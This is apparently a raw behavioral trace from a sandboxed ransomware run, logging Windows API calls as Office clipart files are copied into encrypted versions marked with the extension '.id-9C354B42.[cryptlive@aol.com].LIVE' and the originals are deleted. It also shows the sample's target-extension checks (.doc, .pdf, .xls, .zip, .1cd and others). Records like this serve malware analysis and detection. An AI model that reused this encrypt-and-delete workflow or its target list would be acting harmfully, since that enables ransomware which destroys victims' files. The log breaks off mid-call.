GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0151.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.800] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.800] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.811] GetLastError () returned 0x0 [0151.812] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2d14, lpOverlapped=0x0) returned 1 [0151.939] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2d20, lpOverlapped=0x0) returned 1 [0151.940] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.940] WriteFile (in: hFile=0x3b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.940] SetEndOfFile (hFile=0x3b4) returned 1 [0152.018] CloseHandle (hObject=0x3b4) returned 1 [0152.018] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.018] SetEndOfFile (hFile=0x1fc) returned 1 [0152.020] CloseHandle (hObject=0x1fc) returned 1 [0152.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0152.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.022] lstrlenW (lpString=".doc") returned 4 [0152.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString=".docx") returned 5 [0152.022] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.022] lstrlenW (lpString=".pdf") returned 4 [0152.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString=".xls") returned 4 [0152.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.022] lstrlenW (lpString=".xlsx") returned 5 [0152.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.022] lstrlenW (lpString=".ppt") returned 4 [0152.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.022] lstrlenW (lpString=".zip") returned 4 [0152.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.022] lstrlenW (lpString=".rar") returned 4 [0152.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString=".bz2") returned 4 [0152.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString=".7z") returned 3 [0152.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.022] lstrlenW (lpString=".dbf") returned 4 [0152.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString=".1cd") returned 4 [0152.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString=".jpg") returned 4 [0152.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString=".doc") returned 4 [0152.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString=".docx") returned 5 [0152.023] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.023] lstrlenW (lpString=".pdf") returned 4 [0152.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString=".xls") returned 4 [0152.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.023] lstrlenW (lpString=".xlsx") returned 5 [0152.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.023] lstrlenW (lpString=".ppt") returned 4 [0152.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString=".zip") returned 4 [0152.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.023] lstrlenW (lpString=".rar") returned 4 [0152.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString=".bz2") returned 4 [0152.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.023] lstrlenW (lpString=".7z") returned 3 [0152.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.023] lstrlenW (lpString=".dbf") returned 4 [0152.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.024] lstrlenW (lpString=".1cd") returned 4 [0152.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0152.024] lstrlenW (lpString=".jpg") returned 4 [0152.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.024] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.024] lstrlenW (lpString="J0105328.WMF") returned 12 [0152.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.284] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7992) returned 1 [0152.284] CloseHandle (hObject=0x1f8) returned 1 [0152.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0152.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.565] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.565] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.566] GetLastError () returned 0x0 [0152.566] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1f38, lpOverlapped=0x0) returned 1 [0152.591] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0152.592] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.592] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.593] SetEndOfFile (hFile=0x3a0) returned 1 [0152.593] CloseHandle (hObject=0x3a0) returned 1 [0152.593] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.593] SetEndOfFile (hFile=0x314) returned 1 [0152.595] CloseHandle (hObject=0x314) returned 1 [0152.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0152.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.597] lstrlenW (lpString=".doc") returned 4 [0152.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString=".docx") returned 5 [0152.597] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.597] lstrlenW (lpString=".pdf") returned 4 [0152.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString=".xls") returned 4 [0152.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.597] lstrlenW (lpString=".xlsx") returned 5 [0152.597] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.597] lstrlenW (lpString=".ppt") returned 4 [0152.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.597] lstrlenW (lpString=".zip") returned 4 [0152.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.597] lstrlenW (lpString=".rar") returned 4 [0152.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString=".bz2") returned 4 [0152.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString=".7z") returned 3 [0152.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.597] lstrlenW (lpString=".dbf") returned 4 [0152.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.598] lstrlenW (lpString=".1cd") returned 4 [0152.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.598] lstrlenW (lpString=".jpg") returned 4 [0152.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.598] lstrlenW (lpString=".doc") returned 4 [0152.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString=".docx") returned 5 [0152.598] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.598] lstrlenW (lpString=".pdf") returned 4 [0152.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString=".xls") returned 4 [0152.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.598] lstrlenW (lpString=".xlsx") returned 5 [0152.598] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.598] lstrlenW (lpString=".ppt") returned 4 [0152.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.598] lstrlenW (lpString=".zip") returned 4 [0152.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.598] lstrlenW (lpString=".rar") returned 4 [0152.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.598] lstrlenW (lpString=".bz2") returned 4 [0152.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.599] lstrlenW (lpString=".7z") returned 3 [0152.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.599] lstrlenW (lpString=".dbf") returned 4 [0152.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.599] lstrlenW (lpString=".1cd") returned 4 [0152.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0152.599] lstrlenW (lpString=".jpg") returned 4 [0152.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.599] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.599] lstrlenW (lpString="J0105348.WMF") returned 12 [0152.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.600] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17060) returned 1 [0152.600] CloseHandle (hObject=0x314) returned 1 [0152.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0152.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.601] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.601] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.602] GetLastError () returned 0x0 [0152.602] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x42a4, lpOverlapped=0x0) returned 1 [0152.638] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x42b0, lpOverlapped=0x0) returned 1 [0152.639] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.640] WriteFile (in: hFile=0x3a0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.640] SetEndOfFile (hFile=0x3a0) returned 1 [0152.640] CloseHandle (hObject=0x3a0) returned 1 [0152.640] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.640] SetEndOfFile (hFile=0x314) returned 1 [0152.643] CloseHandle (hObject=0x314) returned 1 [0152.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0152.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString=".doc") returned 4 [0152.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString=".docx") returned 5 [0152.684] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.684] lstrlenW (lpString=".pdf") returned 4 [0152.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString=".xls") returned 4 [0152.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.684] lstrlenW (lpString=".xlsx") returned 5 [0152.684] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.684] lstrlenW (lpString=".ppt") returned 4 [0152.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString=".zip") returned 4 [0152.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.684] lstrlenW (lpString=".rar") returned 4 [0152.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString=".bz2") returned 4 [0152.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString=".7z") returned 3 [0152.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString=".dbf") returned 4 [0152.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString=".1cd") returned 4 [0152.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString=".jpg") returned 4 [0152.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.685] lstrlenW (lpString=".doc") returned 4 [0152.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString=".docx") returned 5 [0152.685] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.685] lstrlenW (lpString=".pdf") returned 4 [0152.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString=".xls") returned 4 [0152.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.685] lstrlenW (lpString=".xlsx") returned 5 [0152.685] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.685] lstrlenW (lpString=".ppt") returned 4 [0152.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.685] lstrlenW (lpString=".zip") returned 4 [0152.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.685] lstrlenW (lpString=".rar") returned 4 [0152.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString=".bz2") returned 4 [0152.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString=".7z") returned 3 [0152.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.685] lstrlenW (lpString=".dbf") returned 4 [0152.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.685] lstrlenW (lpString=".1cd") returned 4 [0152.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0152.685] lstrlenW (lpString=".jpg") returned 4 [0152.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.685] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.686] lstrlenW (lpString="J0105378.WMF") returned 12 [0152.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0152.686] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4964) returned 1 [0152.686] CloseHandle (hObject=0x1b4) returned 1 [0152.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0152.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0152.687] SetFilePointerEx (in: 